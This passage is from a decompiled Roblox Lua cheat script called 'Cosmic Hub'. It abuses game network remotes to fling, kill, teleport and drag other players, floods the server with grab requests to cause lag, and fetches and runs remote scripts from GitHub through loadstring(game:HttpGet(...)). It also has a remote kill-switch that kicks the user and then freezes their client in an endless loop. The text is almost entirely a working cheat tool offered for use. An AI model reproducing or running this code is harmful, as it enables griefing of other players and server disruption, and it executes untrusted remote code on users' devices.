            if v399:IsA("Model") and v399.Name == "CreatureBlobman" and v399:FindFirstChild("VehicleSeat") then
                local l_SeatWeld_0 = v399.VehicleSeat:FindFirstChild("SeatWeld");
                if l_SeatWeld_0 and l_SeatWeld_0.Part1 and l_SeatWeld_0.Part1:IsDescendantOf(game.Players.LocalPlayer.Character) then
                    return v399;
                end;
            end;
        end;
        return nil;
    end;
    local function v407()
        -- upvalues: v389 (ref), v401 (ref), v43 (ref), v47 (ref), v397 (ref)
        v389.autoGrabCoroutine = coroutine.create(function()
            -- upvalues: v401 (ref), v43 (ref), v389 (ref), v47 (ref), v397 (ref)
            local v402 = v401();
            if v402 then
                while v389.autoGrab do
                    for v403, _ in pairs(v47.TargetList) do
                        if v403 ~= game.Players.LocalPlayer.UserId then
                            local l_PlayerByUserId_1 = game.Players:GetPlayerByUserId(v403);
                            local v406 = l_PlayerByUserId_1 and l_PlayerByUserId_1.Character and l_PlayerByUserId_1.Character:FindFirstChild("HumanoidRootPart");
                            if v406 then
                                v397(v402, v406);
                            end;
                        end;
                    end;
                    task.wait(0.01);
                end;
                return;
            else
                v43:MakeNotification({
                    Name = "No Blobman Found", 
                    Content = "You must be riding a Blobman to use this.", 
                    Image = "rbxassetid://4483345998", 
                    Time = 5
                });
                return;
            end;
        end);
        coroutine.resume(v389.autoGrabCoroutine);
    end;
    v249:AddToggle({
        Name = "God Loop Target", 
        Default = false, 
        Callback = function(v408)
            -- upvalues: v389 (ref), v407 (ref)
            v389.autoGrab = v408;
            if not v408 then
                if v389.autoGrabCoroutine then
                    coroutine.close(v389.autoGrabCoroutine);
                    v389.autoGrabCoroutine = "close";
                end;
            else
                v407();
            end;
        end
    });
    local v409 = {
        enabled = false, 
        coroutine = "coroutine", 
        MAX_HOVER_DIST = 500, 
        HOVER_HEIGHT = 25
    };
    local function v416()
        -- upvalues: v409 (ref), v310 (ref), v251 (ref), v322 (ref)
        v409.coroutine = coroutine.create(function()
            -- upvalues: v409 (ref), v310 (ref), v251 (ref), v322 (ref)
            while v409.enabled do
                local v410 = v310();
                local l_selectedPlayer_0 = v251.selectedPlayer;
                if v410 and l_selectedPlayer_0 and l_selectedPlayer_0.Character and l_selectedPlayer_0.Character:FindFirstChild("HumanoidRootPart") then
                    local l_HumanoidRootPart_11 = l_selectedPlayer_0.Character.HumanoidRootPart;
                    local l_Character_15 = v251.LocalPlayer.Character;
                    local v414 = l_Character_15 and l_Character_15:FindFirstChild("HumanoidRootPart");
                    if v414 and (v414.Position - l_HumanoidRootPart_11.Position).Magnitude <= v409.MAX_HOVER_DIST then
                        local v415 = l_HumanoidRootPart_11.Position + Vector3.new(0, v409.HOVER_HEIGHT, 0);
                        v322(v410, v415);
                    end;
                end;
                task.wait(0.06);
            end;
        end);
        coroutine.resume(v409.coroutine);
    end;
    v249:AddToggle({
        Name = "Hover above target", 
        Default = false, 
        Callback = function(v417)
            -- upvalues: v409 (ref), v416 (ref)
            v409.enabled = v417;
            if not v417 then
                if v409.coroutine then
                    coroutine.close(v409.coroutine);
                    v409.coroutine = "close";
                end;
            else
                v416();
            end;
        end
    });
    local v418 = v44:MakeTab({
        Name = "Auras", 
        Icon = "rbxassetid://6031075939", 
        PremiumOnly = false
    });
    local _ = v418:AddSection({
        Name = "Auras"
    });
    local v420 = {
        auraCoroutine = "auraCoroutine", 
        gravityCoroutine = "gravityCoroutine", 
        localPlayer = game.Players.LocalPlayer, 
        Players = game.Players, 
        Debris = game:GetService("Debris"), 
        SetNetworkOwner = game.ReplicatedStorage:WaitForChild("GrabEvents"):WaitForChild("SetNetworkOwner"), 
        OrionLib = v43, 
        Tab = v418, 
        auraRadius = 25
    };
    local function v433()
        -- upvalues: v420 (ref)
        v420.auraCoroutine = coroutine.create(function()
            -- upvalues: v420 (ref)
            while true do
                local l_status_0, l_result_0 = pcall(function()
                    -- upvalues: v420 (ref)
                    local l_Character_16 = v420.localPlayer.Character;
                    if l_Character_16 and l_Character_16:FindFirstChild("Head") and l_Character_16:FindFirstChild("HumanoidRootPart") then
                        local _ = l_Character_16.Head;
                        local l_HumanoidRootPart_12 = l_Character_16.HumanoidRootPart;
                        do
                            local l_l_HumanoidRootPart_12_0 = l_HumanoidRootPart_12;
                            for _, v426 in pairs(v420.Players:GetPlayers()) do
                                do
                                    local l_v426_0 = v426;
                                    coroutine.wrap(function()
                                        -- upvalues: l_v426_0 (ref), v420 (ref), l_l_HumanoidRootPart_12_0 (ref)
                                        if l_v426_0 ~= v420.localPlayer and l_v426_0.Character then
                                            local l_Character_17 = l_v426_0.Character;
                                            local l_Torso_0 = l_Character_17:FindFirstChild("Torso");
                                            if l_Torso_0 and (l_Torso_0.Position - l_l_HumanoidRootPart_12_0.Position).Magnitude <= v420.auraRadius then
                                                v420.SetNetworkOwner:FireServer(l_Torso_0, l_Character_17.HumanoidRootPart.FirePlayerPart.CFrame);
                                                task.wait(0.1);
                                                local v430 = l_Torso_0:FindFirstChild("l") or Instance.new("BodyVelocity", l_Torso_0);
                                                v430.Name = "l";
                                                v430.Velocity = Vector3.new(0, 200000000000, 0);
                                                v430.MaxForce = Vector3.new(0, math.huge, 0);
                                                v420.Debris:AddItem(v430, 100);
                                                task.wait(1);
                                                v420.SetNetworkOwner:FireServer(l_Torso_0, nil);
                                                if v430 then
                                                    v430:Destroy();
                                                end;
                                            end;
                                        end;
                                    end)();
                                end;
                            end;
                        end;
                    end;
                end);
                if not l_status_0 then
                    warn("Error in Air Suspend Aura: " .. tostring(l_result_0));
                end;
                task.wait(0.02);
            end;
        end);
        coroutine.resume(v420.auraCoroutine);
    end;
    local function v434()
        -- upvalues: v420 (ref)
        if v420.auraCoroutine then
            coroutine.close(v420.auraCoroutine);
            v420.auraCoroutine = "close";
        end;
    end;
    v420.Tab:AddToggle({
        Name = " Launch Aura", 
        Default = false, 
        Callback = function(v435)
            -- upvalues: v433 (ref), v434 (ref)
            if v435 then
                v433();
            else
                v434();
            end;
        end
    });
    v420.localPlayer.CharacterAdded:Connect(function(v436)
        -- upvalues: v420 (ref)
        v420.playerCharacter = v436;
    end);
    local function v453()
        -- upvalues: v420 (ref), l_Workspace_0 (ref)
        v420.gravityCoroutine = coroutine.create(function()
            -- upvalues: v420 (ref), l_Workspace_0 (ref)
            while true do
                local l_status_1, l_result_1 = pcall(function()
                    -- upvalues: v420 (ref), l_Workspace_0 (ref)
                    local l_Character_18 = v420.localPlayer.Character;
                    if l_Character_18 and l_Character_18:FindFirstChild("HumanoidRootPart") then
                        local l_HumanoidRootPart_13 = l_Character_18.HumanoidRootPart;
                        local l_CurrentCamera_0 = l_Workspace_0.CurrentCamera;
                        for _, v441 in pairs(v420.Players:GetPlayers()) do
                            if v441 ~= v420.localPlayer and v441.Character then
                                local l_Character_19 = v441.Character;
                                local l_Torso_1 = l_Character_19:FindFirstChild("Torso");
                                if l_Torso_1 and (l_Torso_1.Position - l_HumanoidRootPart_13.Position).Magnitude <= v420.auraRadius then
                                    v420.SetNetworkOwner:FireServer(l_Torso_1, l_HumanoidRootPart_13.CFrame);
                                    for _, v445 in ipairs(l_Character_19:GetDescendants()) do
                                        if v445:IsA("BasePart") then
                                            v445.CanCollide = false;
                                        end;
                                    end;
                                    local v446 = l_Torso_1:FindFirstChild("HellAuraPos") or Instance.new("BodyPosition");
                                    v446.Name = "HellAuraPos";
                                    v446.MaxForce = Vector3.new(100000, 100000, 100000);
                                    v446.D = 500;
                                    v446.P = 50000;
                                    v446.Parent = l_Torso_1;
                                    local v447 = l_Torso_1:FindFirstChild("HellAuraGyro") or Instance.new("BodyGyro");
                                    v447.Name = "HellAuraGyro";
                                    v447.MaxTorque = Vector3.new(100000, 100000, 100000);
                                    v447.D = 500;
                                    v447.P = 50000;
                                    v447.Parent = l_Torso_1;
                                    local l_LookVector_0 = l_CurrentCamera_0.CFrame.LookVector;
                                    local v449 = 15;
                                    local v450 = Vector3.new(0, 5, 0);
                                    v446.Position = l_HumanoidRootPart_13.Position + l_LookVector_0 * v449 + v450;
                                    v447.CFrame = CFrame.new(l_Torso_1.Position, l_HumanoidRootPart_13.Position);
                                end;
                            end;
                        end;
                    end;
                end);
                if not l_status_1 then
                    warn("Error in Hell Send Aura: " .. tostring(l_result_1));
                end;
                task.wait(0.05);
            end;
        end);
        coroutine.resume(v420.gravityCoroutine);
    end;
    local function v454()
        -- upvalues: v420 (ref)
        if v420.gravityCoroutine then
            coroutine.close(v420.gravityCoroutine);
            v420.gravityCoroutine = "close";
        end;
    end;
    v420.Tab:AddToggle({
        Name = "Telekinesis Aura", 
        Default = false, 
        Callback = function(v455)
            -- upvalues: v453 (ref), v454 (ref)
            if not v455 then
                v454();
            else
                v453();
            end;
        end
    });
    function death(v456)
        -- upvalues: v47 (ref), l_RunService_0 (ref), l_Players_0 (ref), l_LocalPlayer_0 (ref), l_GrabEvents_0 (ref)
        if deathConnection then
            deathConnection:Disconnect();
        end;
        if not v456 then
            v47.Death_Aura = false;
            return;
        else
            v47.Death_Aura = true;
            deathConnection = l_RunService_0.Heartbeat:Connect(function()
                -- upvalues: l_Players_0 (ref), l_LocalPlayer_0 (ref), l_GrabEvents_0 (ref)
                for _, v458 in ipairs(l_Players_0:GetPlayers()) do
                    if v458 ~= l_LocalPlayer_0 and v458.Character then
                        local l_HumanoidRootPart_14 = v458.Character:FindFirstChild("HumanoidRootPart");
                        local l_Head_1 = v458.Character:FindFirstChild("Head");
                        local l_Humanoid_8 = v458.Character:FindFirstChildOfClass("Humanoid");
                        do
                            local l_l_HumanoidRootPart_14_0, l_l_Head_1_0, l_l_Humanoid_8_0 = l_HumanoidRootPart_14, l_Head_1, l_Humanoid_8;
                            if l_l_HumanoidRootPart_14_0 and l_l_Head_1_0 and l_l_Humanoid_8_0 and l_l_Humanoid_8_0.Health > 0 and (l_l_HumanoidRootPart_14_0.Position - l_LocalPlayer_0.Character.HumanoidRootPart.Position).Magnitude <= 25 then
                                pcall(function()
                                    -- upvalues: l_GrabEvents_0 (ref), l_l_HumanoidRootPart_14_0 (ref), l_l_Head_1_0 (ref), l_LocalPlayer_0 (ref), l_l_Humanoid_8_0 (ref)
                                    l_GrabEvents_0.SetNetworkOwner:FireServer(l_l_HumanoidRootPart_14_0, l_l_HumanoidRootPart_14_0.CFrame);
                                    task.wait(0.1);
                                    l_GrabEvents_0.DestroyGrabLine:FireServer(l_l_HumanoidRootPart_14_0);
                                    if l_l_Head_1_0:FindFirstChild("PartOwner") and l_l_Head_1_0.PartOwner.Value == l_LocalPlayer_0.Name then
                                        for _, v466 in pairs(l_l_Humanoid_8_0.Parent:GetChildren()) do
                                            if v466:IsA("BasePart") then
                                                v466.CFrame = CFrame.new(-1000000000, 1000000000, -1000000000);
                                            end;
                                        end;
                                        task.wait();
                                        for _, v468 in pairs(l_l_Humanoid_8_0.Parent:GetChildren()) do
                                            if v468:IsA("BasePart") then
                                                v468.CFrame = CFrame.new(-1000000000, 1000000000, -1000000000);
                                            end;
                                        end;
                                        local l_BodyVelocity_1 = Instance.new("BodyVelocity");
                                        l_BodyVelocity_1.Velocity = Vector3.new(0, -9999999, 0);
                                        l_BodyVelocity_1.MaxForce = Vector3.new(9000000000, 9000000000, 9000000000);
                                        l_BodyVelocity_1.P = 100000075;
                                        l_BodyVelocity_1.Parent = l_l_HumanoidRootPart_14_0;
                                        l_l_Humanoid_8_0.Sit = false;
                                        l_l_Humanoid_8_0.Jump = true;
                                        l_l_Humanoid_8_0.BreakJointsOnDeath = false;
                                        l_l_Humanoid_8_0:ChangeState(Enum.HumanoidStateType.Dead);
                                        do
                                            local l_l_BodyVelocity_1_0 = l_BodyVelocity_1;
                                            task.delay(2, function()
                                                -- upvalues: l_l_BodyVelocity_1_0 (ref)
                                                if l_l_BodyVelocity_1_0 and l_l_BodyVelocity_1_0.Parent then
                                                    l_l_BodyVelocity_1_0:Destroy();
                                                end;
                                            end);
                                        end;
                                    end;
                                end);
                            end;
                        end;
                    end;
                end;
            end);
            return;
        end;
    end;
    v418:AddToggle({
        Name = "Death Aura", 
        Default = false, 
        Callback = death
    });
    local v471 = v44:MakeTab({
        Name = "Teleport", 
        Icon = "rbxassetid://6031068433", 
        PremiumOnly = false
    });
    local _ = v471:AddSection({
        Name = "Teleport"
    });
    local v473 = false;
    local v474 = nil;
    local function v478()
        -- upvalues: l_Players_0 (ref), l_LocalPlayer_0 (ref)
        local v475 = {};
        for _, v477 in pairs(l_Players_0:GetPlayers()) do
            if v477 ~= l_LocalPlayer_0 then
                table.insert(v475, v477.Name);
            end;
        end;
        return v475;
    end;
    local function v480(v479)
        -- upvalues: v478 (ref)
        v479:Refresh(v478(), true);
    end;
    local v482 = v471:AddDropdown({
        Name = "Select Player", 
        Default = "rbxassetid://6031068433", 
        Options = v478(), 
        Callback = function(v481)
            -- upvalues: v27 (ref)
            v27 = v481;
        end
    });
    v480(v482);
    local function v485()
        -- upvalues: v27 (ref), l_Players_0 (ref), l_LocalPlayer_0 (ref), v43 (ref)
        if not v27 then
            v43:MakeNotification({
                Name = "Error", 
                Content = "No player selected.", 
                Time = 3
            });
        else
            local l_l_Players_0_FirstChild_0 = l_Players_0:FindFirstChild(v27);
            if not l_l_Players_0_FirstChild_0 or not l_l_Players_0_FirstChild_0.Character or not l_l_Players_0_FirstChild_0.Character:FindFirstChild("HumanoidRootPart") then
                v43:MakeNotification({
                    Name = "Error", 
                    Content = "Target player not found.", 
                    Time = 3
                });
            else
                local l_Position_3 = l_l_Players_0_FirstChild_0.Character.HumanoidRootPart.Position;
                if not l_LocalPlayer_0.Character or not l_LocalPlayer_0.Character:FindFirstChild("HumanoidRootPart") then
                    v43:MakeNotification({
                        Name = "Error", 
                        Content = "Character was not found.", 
                        Time = 3
                    });
                else
                    l_LocalPlayer_0.Character.HumanoidRootPart.CFrame = CFrame.new(l_Position_3);
                end;
            end;
        end;
    end;
    v471:AddButton({
        Name = "Teleport to Player", 
        Callback = function()
            -- upvalues: v485 (ref)
            v485();
        end
    });
    local function v486()
        -- upvalues: v474 (ref), v473 (ref), v485 (ref)
        v474 = coroutine.create(function()
            -- upvalues: v473 (ref), v485 (ref)
            while v473 do
                v485();
                wait(0.02);
            end;
        end);
        coroutine.resume(v474);
    end;
    v471:AddToggle({
        Name = "Loop Teleport", 
        Default = false, 
        Callback = function(v487)
            -- upvalues: v473 (ref), v486 (ref), v474 (ref)
            v473 = v487;
            if not v487 then
                v474 = nil;
            else
                v486();
            end;
        end
    });
    l_Players_0.PlayerAdded:Connect(function()
        -- upvalues: v480 (ref), v482 (ref)
        v480(v482);
    end);
    l_Players_0.PlayerRemoving:Connect(function()
        -- upvalues: v480 (ref), v482 (ref)
        v480(v482);
    end);
    local v488 = v44:MakeTab({
        Name = "Random", 
        Icon = "rbxassetid://4483345998", 
        PremiumOnly = false
    });
    local _ = v488:AddSection({
        Name = "Working"
    });
    local v490 = false;
    local v491 = 5;
    local function v495()
        -- upvalues: v490 (ref), v491 (ref), l_Players_0 (ref), l_ReplicatedStorage_0 (ref)
        while v490 do
            for _ = 1, v491 do
                for _, v494 in ipairs(l_Players_0:GetPlayers()) do
                    if v494.Character and v494.Character:FindFirstChild("Torso") then
                        l_ReplicatedStorage_0.GrabEvents.CreateGrabLine:FireServer(v494.Character.Torso, v494.Character.Torso.CFrame);
                    end;
                end;
            end;
            wait(1);
        end;
    end;
    v488:AddToggle({
        Name = "Lag", 
        Default = false, 
        Callback = function(v496)
            -- upvalues: v490 (ref), v495 (ref)
            v490 = v496;
            if v490 then
                task.spawn(v495);
            end;
        end
    });
    v488:AddSlider({
        Name = "Lag Intensity", 
        Min = 1, 
        Max = 1000, 
        Default = 5, 
        Callback = function(v497)
            -- upvalues: v491 (ref)
            v491 = v497;
        end
    });
    local v498 = {
        P = game:GetService("Players"), 
        RS = game:GetService("RunService"), 
        W = l_Workspace_0, 
        A = false, 
        Q = {}, 
        Pos = "Pos", 
        Cam = "Cam", 
        R = 15, 
        Conn = "Conn", 
        WL = false, 
        CB = Instance.new("Part")
    };
    v498.CB.Anchored = true;
    v498.CB.CanCollide = false;
    v498.CB.Transparency = 1;
    v498.CB.CanQuery = false;
    v498.CB.Size = Vector3.new(10, 10, 10);
    local function v500()
        -- upvalues: v498 (ref)
        local l_CurrentCamera_1 = v498.W.CurrentCamera;
        v498.CB.CFrame = v498.Cam;
        v498.CB.Parent = v498.W;
        l_CurrentCamera_1.CameraType = Enum.CameraType.Scriptable;
        l_CurrentCamera_1.CFrame = v498.Cam;
    end;
    local function v502()
        -- upvalues: v498 (ref)
        v498.CB.Parent = "Parent";
        local l_CurrentCamera_2 = v498.W.CurrentCamera;
        l_CurrentCamera_2.CameraType = Enum.CameraType.Custom;
        if v498.Cam then
            l_CurrentCamera_2.CFrame = v498.Cam;
        end;
        v498.Cam = "CFrame";
    end;
    local function v506(v503)
        for _, v505 in pairs(v503:GetDescendants()) do
            if v505:IsA("BasePart") then
                v505.CanCollide = false;
            end;
        end;
    end;
    local function v510(v507)
        -- upvalues: v498 (ref)
        local l_PlotItems_0 = v498.W:FindFirstChild("PlotItems");
        local v509 = l_PlotItems_0 and l_PlotItems_0:FindFirstChild("PlayersInPlots");
        return v509 and v509:FindFirstChild(v507.Name);
    end;
    local function v513(v511)
        -- upvalues: v498 (ref)
        if (v511.Position - v498.Pos).Magnitude > v498.R then
            local _ = false;
        end;
        return true;
    end;
    local function v515(v514)
        -- upvalues: v498 (ref)
        if v514 ~= v498.P.LocalPlayer then
            if v498.WL and v498.P.LocalPlayer:IsFriendsWith(v514.UserId) then
                return true;
            else
                return false;
            end;
        else
            return true;
        end;
    end;
    local function v519()
        -- upvalues: v498 (ref), v515 (ref), v510 (ref), v513 (ref)
        v498.Q = {};
        for _, v517 in pairs(v498.P:GetPlayers()) do
            if not v515(v517) and v517.Character and not v510(v517) then
                local l_HumanoidRootPart_15 = v517.Character:FindFirstChild("HumanoidRootPart");
                if l_HumanoidRootPart_15 and not v513(l_HumanoidRootPart_15) then
                    table.insert(v498.Q, v517);
                end;
            end;
        end;
    end;
    local function v525()
        -- upvalues: v498 (ref), v519 (ref), v506 (ref), l_SetNetworkOwner_0 (ref)
        if #v498.Q == 0 then
            v519();
            if #v498.Q == 0 then
                return;
            end;
        end;
        local v520 = v498.Q[1];
        table.remove(v498.Q, 1);
        if v520 and v520.Character then
            local l_HumanoidRootPart_16 = v520.Character:FindFirstChild("HumanoidRootPart");
            local l_Head_2 = v520.Character:FindFirstChild("Head");
            local v523 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
            if l_HumanoidRootPart_16 and l_Head_2 and v523 then
                v498.P.LocalPlayer.Character:PivotTo(l_HumanoidRootPart_16.CFrame * CFrame.new(0, -6, 0));
                v506(v498.P.LocalPlayer.Character);
                local v524 = 0;
                repeat
                    l_SetNetworkOwner_0:FireServer(l_HumanoidRootPart_16, v523.CFrame);
                    task.wait(0.15);
                    v524 = v524 + 1;
                until v524 > 20 or l_Head_2:FindFirstChild("PartOwner") and l_Head_2.PartOwner.Value == v498.P.LocalPlayer.Name or not v498.A;
                if v498.A and l_Head_2:FindFirstChild("PartOwner") and l_Head_2.PartOwner.Value == v498.P.LocalPlayer.Name then
                    l_HumanoidRootPart_16.CFrame = CFrame.new(v498.Pos);
                    l_HumanoidRootPart_16.Position = v498.Pos;
                    l_HumanoidRootPart_16.AssemblyLinearVelocity = Vector3.zero;
                    task.wait(0.8);
                end;
            end;
            return;
        else
            return;
        end;
    end;
    local function v528()
        -- upvalues: v498 (ref), v519 (ref), v500 (ref), v525 (ref)
        local v526 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
        if not v526 then
            return;
        else
            v498.Pos = v526.Position;
            v498.Cam = v498.W.CurrentCamera.CFrame;
            v519();
            v500();
            v498.Conn = v498.RS.Heartbeat:Connect(function()
                -- upvalues: v498 (ref), v525 (ref)
                if v498.A then
                    v525();
                    if v498.Cam then
                        local l_CurrentCamera_3 = v498.W.CurrentCamera;
                        l_CurrentCamera_3.CameraType = Enum.CameraType.Scriptable;
                        l_CurrentCamera_3.CFrame = v498.Cam;
                        v498.CB.CFrame = v498.Cam;
                        v498.CB.Parent = v498.W;
                    end;
                end;
            end);
            return;
        end;
    end;
    local function v530()
        -- upvalues: v498 (ref), v502 (ref)
        if v498.Conn then
            v498.Conn:Disconnect();
            v498.Conn = "Disconnect";
        end;
        v502();
        local v529 = v498.P.LocalPlayer.Character and v498.P.LocalPlayer.Character:FindFirstChild("HumanoidRootPart");
        if v529 and v498.Pos then
            v529.AssemblyLinearVelocity = Vector3.zero;
            v529.CFrame = CFrame.new(v498.Pos);
        end;
    end;
    local function v534(v531)
        -- upvalues: v498 (ref), v502 (ref), v500 (ref), v525 (ref)
        v531:WaitForChild("Humanoid").Died:Connect(function()
            -- upvalues: v498 (ref), v502 (ref)
            if v498.Conn then
                v498.Conn:Disconnect();
                v498.Conn = "Disconnect";
            end;
            v502();
        end);
        if v498.A then
            local l_HumanoidRootPart_17 = v531:WaitForChild("HumanoidRootPart");
            v498.Pos = v498.Pos or l_HumanoidRootPart_17.Position;
            v498.Cam = v498.Cam or v498.W.CurrentCamera.CFrame;
            v500();
            v498.Conn = v498.RS.Heartbeat:Connect(function()
                -- upvalues: v498 (ref), v525 (ref)
                if v498.A then
                    v525();
                    if v498.Cam then
                        local l_CurrentCamera_4 = v498.W.CurrentCamera;
                        l_CurrentCamera_4.CameraType = Enum.CameraType.Scriptable;
                        l_CurrentCamera_4.CFrame = v498.Cam;
                        v498.CB.CFrame = v498.Cam;
                        v498.CB.Parent = v498.W;
                    end;
                end;
            end);
        end;
    end;
    v498.P.LocalPlayer.CharacterAdded:Connect(v534);
    v498.P.PlayerAdded:Connect(function()
        -- upvalues: v498 (ref), v519 (ref)
        if v498.A then
            v519();
        end;
    end);
    v498.P.PlayerRemoving:Connect(function(v535)
        -- upvalues: v498 (ref)
        for v536 = #v498.Q, 1, -1 do
            if v498.Q[v536] == v535 then
                table.remove(v498.Q, v536);
            end;
        end;
    end);
    v488:AddToggle({
        Name = "Bring All", 
        Default = false, 
        Callback = function(v537)
            -- upvalues: v498 (ref), v528 (ref), v530 (ref)
            v498.A = v537;
            if v537 then
                v528();
            else
                v530();
            end;
        end
    });
    v488:AddToggle({
        Name = "Whitelist Friends", 
        Default = false, 
        Callback = function(v538)
            -- upvalues: v498 (ref)
            v498.WL = v538;
        end
    });
    local v539 = {
        ws = game:GetService("Workspace"), 
        plrs = game:GetService("Players"), 
        debris = game:GetService("Debris"), 
        uis = game:GetService("UserInputService"), 
        fpdHeight = l_Workspace_0.FallenPartsDestroyHeight, 
        parts = {
            "Left Leg", 
            "Right Leg", 
            "Left Arm", 
            "Right Arm", 
            "HumanoidRootPart"
        }
    };
    local function v546()
        -- upvalues: v539 (ref)
        local l_GrabParts_0 = v539.ws:FindFirstChild("GrabParts");
        if l_GrabParts_0 then
            for _, v542 in ipairs(l_GrabParts_0:GetChildren()) do
                if v542:IsA("BasePart") then
                    for _, v544 in ipairs(v542:GetChildren()) do
                        if v544:IsA("WeldConstraint") and v544.Part1 and v544.Part1.Parent:IsA("Model") then
                            local l_Parent_0 = v544.Part1.Parent;
                            if l_Parent_0:FindFirstChildOfClass("Humanoid") then
                                return v539.plrs:GetPlayerFromCharacter(l_Parent_0);
                            end;
                        end;
                    end;
                end;
            end;
            return nil;
        else
            return nil;
        end;
    end;
    local function v562(v547)
        -- upvalues: v539 (ref)
        if not v547 then
            return;
        else
            local l_Character_20 = v547.Character;
            if not l_Character_20 then
                return;
            else
                local v549 = {};
                for _, v551 in ipairs(v539.parts) do
                    local l_l_Character_20_FirstChild_0 = l_Character_20:FindFirstChild(v551);
                    do
                        local l_l_l_Character_20_FirstChild_0_0 = l_l_Character_20_FirstChild_0;
                        if l_l_l_Character_20_FirstChild_0_0 then
                            for _, v555 in ipairs(v539.ws:GetDescendants()) do
                                if v555:IsA("WeldConstraint") and (v555.Part0 == l_l_l_Character_20_FirstChild_0_0 or v555.Part1 == l_l_l_Character_20_FirstChild_0_0) then
                                    v555.Enabled = false;
                                    table.insert(v549, v555);
                                end;
                            end;
                            for _, v557 in ipairs(l_l_l_Character_20_FirstChild_0_0:GetChildren()) do
                                if v557:IsA("Motor6D") or v557:IsA("Weld") then
                                    v557.Enabled = false;
                                    table.insert(v549, v557);
                                end;
                            end;
                            l_l_l_Character_20_FirstChild_0_0.Anchored = false;
                            local v558 = Vector3.new(l_l_l_Character_20_FirstChild_0_0.Position.X, v539.fpdHeight - 100, l_l_l_Character_20_FirstChild_0_0.Position.Z);
                            do
                                local l_v558_0 = v558;
                                pcall(function()
                                    -- upvalues: l_l_l_Character_20_FirstChild_0_0 (ref), l_v558_0 (ref)
                                    if not l_l_l_Character_20_FirstChild_0_0:IsA("Model") then
                                        l_l_l_Character_20_FirstChild_0_0.CFrame = CFrame.new(l_v558_0);
                                    else
                                        l_l_l_Character_20_FirstChild_0_0.PrimaryPart = l_l_l_Character_20_FirstChild_0_0.PrimaryPart or l_l_l_Character_20_FirstChild_0_0:FindFirstChildWhichIsA("BasePart");
                                        if l_l_l_Character_20_FirstChild_0_0.PrimaryPart then
                                            l_l_l_Character_20_FirstChild_0_0:SetPrimaryPartCFrame(CFrame.new(l_v558_0));
                                        end;
                                    end;
                                end);
                                task.wait(0.1);
                            end;
                        end;
                    end;
                end;
                for _, v561 in ipairs(v549) do
                    v561.Enabled = true;
                end;
                return;
            end;
        end;
    end;
    local function v564()
        -- upvalues: v546 (ref), v562 (ref)
        local v563 = v546();
        if v563 then
            v562(v563);
        end;
    end;
    if v539.uis.TouchEnabled then
        v488:AddButton({
            Name = "Delete Limbs (Hold and ragdoll player)", 
            Callback = v564
        });
    end;
    local v565 = v44:MakeTab({
        Name = "Credits", 
        Icon = "rbxassetid://6035047375", 
        PremiumOnly = false
    });
    v565:AddLabel("CREATOR: Cosmic_TCU (TCUTCU_LLBDDLLZYXZY)");
    v565:AddLabel("GO FOLLOW: Crisila_TCU (Superduperalt0987)");
    v565:AddLabel("HELPERS: jeke/brilliant, moonydev");
    v565:AddButton({
        Name = "Cosmic Hub Discord Server", 
        Callback = function()
            -- upvalues: v43 (ref)
            setclipboard("https://discord.gg/mzkKQhyNqv");
            v43:MakeNotification({
                Name = "Copied!", 
                Content = "Discord link has been copied to your clipboard.", 
                Image = "rbxassetid://4483345998", 
                Time = 3
            });
        end
    });
    local v566 = v44:MakeTab({
        Name = "Extra", 
        Icon = "rbxassetid://6031094675", 
        PremiumOnly = false
    });
    v566:AddButton({
        Name = "Cosmic Hub Auras", 
        Callback = function()
            loadstring(game:HttpGet("https://raw.githubusercontent.com/Jeffepicy/CosmicAuras/refs/heads/main/SigmaAuras", true))();
        end
    });
    v566:AddButton({
        Name = "Dex", 
        Callback = function()
            loadstring(game:HttpGet("https://raw.githubusercontent.com/m0onyy/Test/refs/heads/main/mobile%20dex.lua", true))();
        end
    });
    v566:AddButton({
        Name = "Infinite Yield", 
        Callback = function()
            loadstring(game:HttpGet("https://raw.githubusercontent.com/ttwizz/infiniteyield/master/source.lua", true))();
        end
    });
    v566:AddLabel("Current version: V2.049");
    local v567 = "https://raw.githubusercontent.com/Jeffepicy/unsafety/main/hihiihih";
    (function()
        -- upvalues: v567 (ref), l_HttpService_0 (ref), l_LocalPlayer_0 (ref)
        local l_status_2, l_result_2 = pcall(function()
            -- upvalues: v567 (ref)
            return game:HttpGet(v567);
        end);
        if l_status_2 and l_result_2 then
            local v570 = nil;
            do
                local l_v570_0 = v570;
                pcall(function()
                    -- upvalues: l_v570_0 (ref), l_HttpService_0 (ref), l_result_2 (ref)
                    l_v570_0 = l_HttpService_0:JSONDecode(l_result_2);
                end);
                if l_v570_0 == true then
                    l_LocalPlayer_0:Kick("Script disabled by Owner.");
                    task.wait(1);
                    while true do

                    end;
                end;
            end;
        else
            warn("Failed to check shutdown status.");
        end;
    end)();
    local v572 = {};
    local v573 = "https://raw.githubusercontent.com/Jeffepicy/whitelist/main/whitelist.txt";
    local l_status_3, l_result_3 = pcall(function()
        -- upvalues: v573 (ref)
        return game:HttpGet(v573);
    end);
    if not l_status_3 or not l_result_3 then
        local v576 = "Kick";
        local l_l_LocalPlayer_0_0 = l_LocalPlayer_0;
        l_LocalPlayer_0[v576](l_l_LocalPlayer_0_0, "Whitelist services down. Try again later.");
        return;
    else
        local v578 = "JSONDecode";
        local l_l_HttpService_0_0 = l_HttpService_0;
        local v580 = l_HttpService_0[v578](l_l_HttpService_0_0, l_result_3);
        if typeof(v580) == "table" then
            for _, v582 in ipairs(v580) do
                table.insert(v572, v582);
            end;
        end;
        v580 = {};
        l_l_HttpService_0_0 = {};
        v578 = {};
        local v583 = {};
        local v584 = v572 or {};
        local function v587(v585)
            -- upvalues: v584 (ref)
            if table.find(v584, v585.UserId) == "UserId" then
                local _ = false;
            end;
            return true;
        end;
        local function v592(v588)
            -- upvalues: l_TextChatService_0 (ref), l_ReplicatedStorage_0 (ref)
            if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
                local l_TextChannels_0 = l_TextChatService_0:FindFirstChild("TextChannels");
                if l_TextChannels_0 then
                    local l_RBXGeneral_0 = l_TextChannels_0:FindFirstChild("RBXGeneral");
                    if l_RBXGeneral_0 then
                        l_RBXGeneral_0:SendAsync(v588);
                    end;
                end;
            else
                local l_DefaultChatSystemChatEvents_0 = l_ReplicatedStorage_0:FindFirstChild("DefaultChatSystemChatEvents");
                if l_DefaultChatSystemChatEvents_0 and l_DefaultChatSystemChatEvents_0:FindFirstChild("SayMessageRequest") then
                    l_DefaultChatSystemChatEvents_0.SayMessageRequest:FireServer(v588, "All");
                end;
